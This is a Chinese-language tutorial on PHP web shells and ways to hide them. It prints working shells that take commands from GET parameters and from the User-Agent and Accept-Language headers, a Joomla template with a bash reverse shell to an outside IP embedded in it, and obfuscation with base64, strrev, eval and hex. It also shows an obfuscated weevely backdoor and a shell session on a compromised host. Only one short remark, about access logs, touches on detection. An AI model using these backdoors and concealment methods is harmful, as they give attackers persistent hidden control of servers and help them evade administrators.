什么是Web Shell

在渗透测试中,对于一个远程服务器,攻击者往往会从目标主机上的http服务入手,先控制靶机上的网站,然后纵向渗透获取服务器的更高权限。为了获取对目标Web应用程序的持久访问,攻击者通常会选择上传恶意脚本,这个恶意脚本就是web shell,但是web shell本身是不能攻击或是利用远程Web应用的漏洞的。

最简单的Web Shell

如下所示是一个最简单的Web Shell:

1
2
<?php
system($_GET['cmd']);

通过一个get请求参数cmd,就可以让目标靶机执行系统命令,但是一些情况下,为了系统安全,可能会禁用一些函数,可以这样测试什么函数被禁用了:

1
2
3
<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>

1

隐藏Web Shell

太简单的Web Shell很容易被有经验的管理员发现,所以攻击者开始寻找方法来隐藏自己上传到目标服务器上的Web Shell。

修改http headers

第一种方式是通过http header来传参,而不是直接通过$_POST或是$_GET

1
2
<?php 
system($_SERVER['HTTP_USER_AGENT']);

2

但针对Web服务的入侵痕迹检测,可以通过分析日志文件来检测,比如apache服务的日志文件access.log的默认路径为/var/log/apache2/access.log

1
2
192.168.247.196 - - [01/Aug/2020:11:10:12 +0800] "GET /test.php HTTP/1.1" 200 414 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"
192.168.247.196 - - [01/Aug/2020:11:30:56 +0800] "GET /test.php HTTP/1.1" 200 214 "-" "cat /etc/passwd"

当管理员查看日志文件的时候很容易看出有不正常的流量。

另一种方式是利用$_SERVER['HTTP_ACCEPT_LANGUAGE']

1
2
<?php 
system($_SERVER['HTTP_ACCEPT_LANGUAGE']);

3

1
192.168.247.196 - - [01/Aug/2020:13:04:36 +0800] "GET /test.php HTTP/1.1" 200 638 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0"

修改已存在的文件

绝大数的PHP shell都是使用c99r57b374或是它们的变种,但是现在的免杀比较容易发现它们,所以一种比较好的隐藏方式是直接将web shell嵌入到已经存在的合法的文件中,比如:

1
2
http://www.example.com/index.php
http://www.example.com/about.php

对于一个cms,比如joomla,可以直接嵌在模板代码中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$option   = $app->input->getCmd('option', '');
$view = $app->input->getCmd('view', '');
......
$itemid = $app->input->getCmd('task', '');
$sitename = $app->get('sitename');

// web shell
system ("bash -c 'bash -i >& /dev/tcp/192.168.247.210/23333 0>&1'");

if ($task === 'edit' || $layout === 'form')
{
$fullWidth = 1;
}
else
{
$fullWidth = 0;
}
......

4

访问index.php,监听23333端口,成功反弹shell:

5

代码混淆

为了避免web shell被管理员发现,或是被别的攻击者发现利用,出现为他人做嫁衣这种情况,攻击者不断想出更复杂的方法来隐藏他们的代码,代码混淆就是其中一种。

代码混淆有这么几种方式:

Whitespace

去掉了空格之后,代码的可读性就下降了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
// Whitespace makes things easy to read
function myshellexec($cmd){
global $disablefunc; $result = "";
if (!empty($cmd)){
if (is_callable("exec") && !in_array("exec",$disablefunc)) {
exec($cmd,$result); $result = join("",$result);
}
}
}
// Whitespace removed makes things harder to read
function myshellexec($cmd) {global $disablefunc;$result = "";
if(!empty($cmd)) { if (is_callable("exec") and
!in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",$result);}}}
?>

Scrambling

Scrambling就是置乱,可以有效地与其他技术结合使用,以帮助web shell不被发现,这种方式可以打乱代码使其的可读性大大下降,并使用各种函数在运行时重构代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
// Scrambled
$k='c3lzdGVtKCdscyAtbGEnKTs=';$c=strrev('(edoced_46esab.""nruter')."'".$k."');";$f=eval($c);eval($f);

// Unscrambled
// base_64 encoded string -> system('ls -la');
$k='c3lzdGVtKCdscyAtbGEnKTs=';
// strrev() reverses a given string: strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
// $c = system('ls -la');
$f=eval($c);
eval($f);

Encoding, Compression, and Replacement Techniques

除了置乱Scrambling之外,还可以通过编码,替换,压缩等方式来使代码的可读性下降,从而达到隐藏web shell真实意图的目的。

base64:PHP中的base64加密函数为base64_encode,解码函数为base64_decode

gzdeflate:PHP的压缩函数,可以使用gzinflate解压被压缩的字符串

str_rot13:对字符串执行 ROT13 编码,该编码把每一个字母在字母表中向前移动 13 个字母,数字和非字母字符保持不变

6

Hex

ASCII字符的Hex值可以进一步用于混淆web shell命令,以下面的字符串为例:

1
system('ls -al');

编码后的结果为:

1
73797374656d28276c73202d616c27293b

一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php // function that accepts a hex encoded data
function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){
//run hexdec on every two characters to get their decimal representation which will be then used by char() to find the corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
// evaluate/execute the command
eval($string);
}
dcd('73797374656d28276c73202d616c27293b');
?>

7

除了以上的几种使用编码的方式隐藏web shell之外,攻击者还可能尝试加密的方法。

weevely

weevely是一个轻量级的类似PHP telnet的web shell,攻击者可以利用weevely创建后门代理,只需要指定一个密码和文件名。

使用方法为:

1
2
weevely generate <password> <path>
weevely <URL> <password> [cmd]

首先生成带验证的web shell

1
2
$ ./weevely.py generate 123456 shell.php
Generated 'shell.php' with password '123456' of 690 byte size.

生成的web shell是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
arch@arch:/var/www/html$ cat shell.php 
<?php
$t='or($!i=0;$i<$l;){fo!r(!$!j=0;($j!<$c&&$i<$l);$j!++,$!i++){$o.!=$t{$!i}^$k{';
$W='$j}!;}!}!return $o;}if (!!@p!reg_match!("!/$!kh(.+)$k!f/",@file_ge!t_conte';
$j=str_replace('d','','crdedadted_fudnctdion');
$p='!$k="e10!adc39";$k!h="49ba!59abbe56!"!;$kf="e057f20!f!88!3e";$p="SU!hsg4osD';
$r='n();$r!=@base6!4_enco!d!e(@x(@gzcom!p!ress($o),$!k));pr!i!nt("$p$kh$r!$kf");}';
$d='RWC!!H8GK";fu!nctio!n x($t,$k)!{!$c!=!st!rlen!($k)!;$l=strlen($t);$!o="";f';
$E='nts("!!php://i!npu!t"),$m)=!=1) {@ob_sta!rt();@e!!val(@gzun!!compress(@x(@';
$c='ba!!!se64_dec!!ode!($m[1]),!$k))!)!;$o=@ob_get_contents();@o!b_end_c!lea';
$D=str_replace('!','',$p.$d.$t.$W.$E.$c.$r);
$U=$j('',$D);$U();
?>

将web shell上传到目标站点后,再利用weevely连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
arch@arch:~/weevely3$ ./weevely.py http://192.168.247.196/shell.php 123456

[+] weevely 4.0.1

[+] Target: 192.168.247.196
[+] Session: /home/arch/.weevely/sessions/192.168.247.196/shell_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> uname -r
4.15.0-96-generic
www-data@arch:/var/www/html $

参考

  1. Part 1 An Introduction to Web Shells

  2. Part 2 Web Shells 101 Using PHP

  3. Part 3 Keeping Web Shells Under Cover

  4. Part 4 Web Shells in Action